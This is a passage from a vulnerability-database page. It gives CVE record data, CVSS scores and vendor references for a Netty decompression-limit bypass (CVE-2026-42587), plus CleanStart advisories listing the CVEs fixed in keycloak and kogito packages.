\"packageName\": \"satellite:el8/candlepin\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_single_sign_on:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Single Sign-On 7\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_single_sign_on:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Single Sign-On 7\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:2\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 2\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:3\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 3\", \"packageName\": \"netty-codec-http\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_streams:3\"], \"vendor\": \"Red Hat\", \"product\": \"streams for Apache Kafka 3\", \"packageName\": \"netty-codec-http2\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-05-13T19:01:35.415Z\", \"value\": \"Reported to Red Hat.\"}, {\"lang\": \"en\", \"time\": \"2026-05-13T18:22:21.699Z\", \"value\": \"Made public.\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"RHSA-2026:53644: Red Hat JBoss EAP 7.4 ELS for RHEL 7 Server\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:28010: Cryostat 4 on RHEL 9\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:41951: Red Hat Data Grid 8.6.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:53806: Red Hat JBoss Enterprise Application Platform 7.4.25\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:50085: Red Hat JBoss Enterprise Application Platform 8.1\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:42644: Red Hat OpenShift AI 2.25\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:23808: Red Hat build of Quarkus 3.27.4\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:24502: Red Hat build of Quarkus 3.33.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:34608: Streams for Apache Kafka 2.9.4\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:54435: Streams for Apache Kafka 3.2.1\"}], \"x_adpType\": \"supplier\", \"datePublic\": \"2026-05-13T18:22:21.699Z\", \"references\": [{\"url\": \"https://access.redhat.com/security/cve/CVE-2026-42587\", \"tags\": [\"vdb-entry\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://bugzilla.redhat.com/show_bug.cgi?id=2477220\", \"name\": \"RHBZ#2477220\", \"tags\": [\"issue-tracking\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json\", \"tags\": [\"x_sadp-csaf-vex\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:53644\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:28010\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:41951\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:53806\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:50085\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:42644\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:25123\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:36820\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:37390\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:23808\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:24502\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:34608\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:54435\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}], \"workarounds\": [{\"lang\": \"en\", \"value\": \"Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.\"}], \"x_generator\": {\"engine\": \"sadp-cli 1.0.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"Allocation of Resources Without Limits or Throttling\"}]}], \"providerMetadata\": {\"orgId\": \"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\", \"shortName\": \"redhat-SADP\", \"dateUpdated\": \"2026-08-13T12:04:31.543Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-42587\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-13T18:43:31.138358Z\"}}}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-13T18:43:47.099Z\"}}], \"cna\": {\"title\": \"Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS\", \"source\": {\"advisory\": \"GHSA-f6hv-jmp6-3vwv\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"netty\", \"product\": \"netty\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}, {\"vendor\": \"io.netty\", \"product\": \"netty-codec-http\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}, {\"vendor\": \"io.netty\", \"product\": \"netty-codec-http2\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final\"}, {\"status\": \"affected\", \"version\": \"\u003c 4.1.133.Final\"}]}], \"references\": [{\"url\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"name\": \"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-400\", \"description\": \"CWE-400: Uncontrolled Resource Consumption\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-13T18:22:21.699Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-42587\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-13T12:04:31.543Z\", \"dateReserved\": \"2026-04-28T17:26:12.086Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-13T18:22:21.699Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
cleanstart-2026-yy96069
Vulnerability from cleanstart
Published
2026-07-21 08:30
Modified
2026-07-03 09:44
Summary
Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2026-42198, CVE-2026-42577, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-44249, CVE-2026-44893, CVE-2026-45416, CVE-2026-45536, CVE-2026-45673, CVE-2026-45674, CVE-2026-47244, CVE-2026-47691, CVE-2026-48043, CVE-2026-48059, CVE-2026-50010, CVE-2026-50020, CVE-2026-50560, CVE-2026-5588, CVE-2026-5598, ghsa-3qp7-7mw8-wx86, ghsa-563q-j3cm-6jxm, ghsa-5pvg-856g-cp85, ghsa-5x3r-wrvg-rp6q, ghsa-676x-f7gg-47vc, ghsa-72hv-8253-57qq, ghsa-98qh-xjc8-98pq, ghsa-c2gf-v879-257j, ghsa-c3fc-8qff-9hwx, ghsa-c653-97m9-rcg9, ghsa-cc37-9q2j-3hfv, ghsa-h2qv-fj59-j46j, ghsa-hvcg-qmg6-jm4c, ghsa-p93r-85wp-75v3, ghsa-pwqr-wmgm-9rr8, ghsa-rc95-pcm8-65v9, ghsa-v8h7-rr48-vmmv, ghsa-w573-9ffj-6ff9, ghsa-w9fj-cfpg-grvv, ghsa-wg6q-6289-32hp, ghsa-x4gw-5cx5-pgmh, ghsa-xmv7-r254-6q78 applied in versions: 26.5.6-r3, 26.6.1-r1, 26.6.3-r2
Details
Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.6.3-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-YY96069",
"modified": "2026-07-03T09:44:40Z",
"published": "2026-07-21T08:30:17.774242Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-YY96069.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42198"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44249"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44893"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45416"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45536"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45673"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-47244"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50010"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50020"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-50560"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-5598"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3qp7-7mw8-wx86"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-563q-j3cm-6jxm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5pvg-856g-cp85"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5x3r-wrvg-rp6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-676x-f7gg-47vc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-98qh-xjc8-98pq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2gf-v879-257j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c3fc-8qff-9hwx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c653-97m9-rcg9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cc37-9q2j-3hfv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h2qv-fj59-j46j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hvcg-qmg6-jm4c"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p93r-85wp-75v3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc95-pcm8-65v9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v8h7-rr48-vmmv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w573-9ffj-6ff9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wg6q-6289-32hp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-x4gw-5cx5-pgmh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xmv7-r254-6q78"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59250"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39852"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42198"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42577"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44893"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45673"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45674"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47244"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47691"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48043"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48059"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50020"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-59250, CVE-2026-0636, CVE-2026-33870, CVE-2026-33871, CVE-2026-39852, CVE-2026-41417, CVE-2026-42198, CVE-2026-42577, CVE-2026-42578, CVE-2026-42579, CVE-2026-42580, CVE-2026-42581, CVE-2026-42583, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-44249, CVE-2026-44893, CVE-2026-45416, CVE-2026-45536, CVE-2026-45673, CVE-2026-45674, CVE-2026-47244, CVE-2026-47691, CVE-2026-48043, CVE-2026-48059, CVE-2026-50010, CVE-2026-50020, CVE-2026-50560, CVE-2026-5588, CVE-2026-5598, ghsa-3qp7-7mw8-wx86, ghsa-563q-j3cm-6jxm, ghsa-5pvg-856g-cp85, ghsa-5x3r-wrvg-rp6q, ghsa-676x-f7gg-47vc, ghsa-72hv-8253-57qq, ghsa-98qh-xjc8-98pq, ghsa-c2gf-v879-257j, ghsa-c3fc-8qff-9hwx, ghsa-c653-97m9-rcg9, ghsa-cc37-9q2j-3hfv, ghsa-h2qv-fj59-j46j, ghsa-hvcg-qmg6-jm4c, ghsa-p93r-85wp-75v3, ghsa-pwqr-wmgm-9rr8, ghsa-rc95-pcm8-65v9, ghsa-v8h7-rr48-vmmv, ghsa-w573-9ffj-6ff9, ghsa-w9fj-cfpg-grvv, ghsa-wg6q-6289-32hp, ghsa-x4gw-5cx5-pgmh, ghsa-xmv7-r254-6q78 applied in versions: 26.5.6-r3, 26.6.1-r1, 26.6.3-r2",
"upstream": [
"CVE-2025-59250",
"CVE-2026-0636",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-39852",
"CVE-2026-41417",
"CVE-2026-42198",
"CVE-2026-42577",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42587",
"CVE-2026-44249",
"CVE-2026-44893",
"CVE-2026-45416",
"CVE-2026-45536",
"CVE-2026-45673",
"CVE-2026-45674",
"CVE-2026-47244",
"CVE-2026-47691",
"CVE-2026-48043",
"CVE-2026-48059",
"CVE-2026-50010",
"CVE-2026-50020",
"CVE-2026-50560",
"CVE-2026-5588",
"CVE-2026-5598",
"ghsa-3qp7-7mw8-wx86",
"ghsa-563q-j3cm-6jxm",
"ghsa-5pvg-856g-cp85",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-676x-f7gg-47vc",
"ghsa-72hv-8253-57qq",
"ghsa-98qh-xjc8-98pq",
"ghsa-c2gf-v879-257j",
"ghsa-c3fc-8qff-9hwx",
"ghsa-c653-97m9-rcg9",
"ghsa-cc37-9q2j-3hfv",
"ghsa-h2qv-fj59-j46j",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-p93r-85wp-75v3",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-rc95-pcm8-65v9",
"ghsa-v8h7-rr48-vmmv",
"ghsa-w573-9ffj-6ff9",
"ghsa-w9fj-cfpg-grvv",
"ghsa-wg6q-6289-32hp",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-xmv7-r254-6q78"
]
}
cleanstart-2026-zy67243
Vulnerability from cleanstart
Published
2026-07-30 07:10
Modified
2026-07-30 09:29
Summary
Security fixes in incubator-kie-kogito-data-index-ephemeral 10.1.0-r1
Details
Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "incubator-kie-kogito-data-index-ephemeral"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.1.0-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"10.1.0-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package incubator-kie-kogito-data-index-ephemeral version 10.1.0-r1 fixes 43 vulnerabilities: CVE-2025-11965, CVE-2025-11966, CVE-2025-2240, CVE-2025-48924, CVE-2025-49574...",
"id": "CLEANSTART-2026-ZY67243",
"modified": "2026-07-30T09:29:43Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://kie.apache.org"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in incubator-kie-kogito-data-index-ephemeral 10.1.0-r1",
"upstream": [
"CVE-2025-11965",
"CVE-2025-11966",
"CVE-2025-2240",
"CVE-2025-48924",
"CVE-2025-49574",
"CVE-2025-55163",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-67735",
"CVE-2026-1002",
"CVE-2026-33870",
"CVE-2026-33871",
"CVE-2026-41417",
"CVE-2026-42578",
"CVE-2026-42579",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42583",
"CVE-2026-42584",
"CVE-2026-42585",
"CVE-2026-42587",
"ghsa-38f8-5428-x5cv",
"ghsa-3p8m-j85q-pgmj",
"ghsa-45p5-v273-3qqr",
"ghsa-45q3-82m4-75jr",
"ghsa-57rv-r2g8-2cj3",
"ghsa-72hv-8253-57qq",
"ghsa-84h7-rjj3-6jx4",
"ghsa-9623-mj7j-p9v4",
"ghsa-cm33-6792-r9fm",
"ghsa-cphf-4846-3xx9",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-fghv-69vj-qj49",
"ghsa-gfh6-3pqw-x2j4",
"ghsa-h5fg-jpgr-rv9c",
"ghsa-j288-q9x7-2f5v",
"ghsa-m4cv-j2px-7723",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-prj3-ccx8-p6x4",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-v8h7-rr48-vmmv",
"ghsa-w9fj-cfpg-grvv",
"ghsa-xxqh-mfjm-7mv9"
]
}
FKIE_CVE-2026-42587
Vulnerability from fkie_nvd - Published: 2026-05-13 19:17 - Updated: 2026-08-13 13:18
Severity
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv | Exploit, Mitigation, Vendor Advisory | |
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:23808 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:24502 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:25123 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:28010 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:34608 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:36820 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:37390 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:41951 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:42644 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:50085 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:53644 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:53806 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/errata/RHSA-2026:54435 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/security/cve/CVE-2026-42587 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | ||
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv | Exploit, Mitigation, Vendor Advisory | |
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json |
{
"affected": [
{
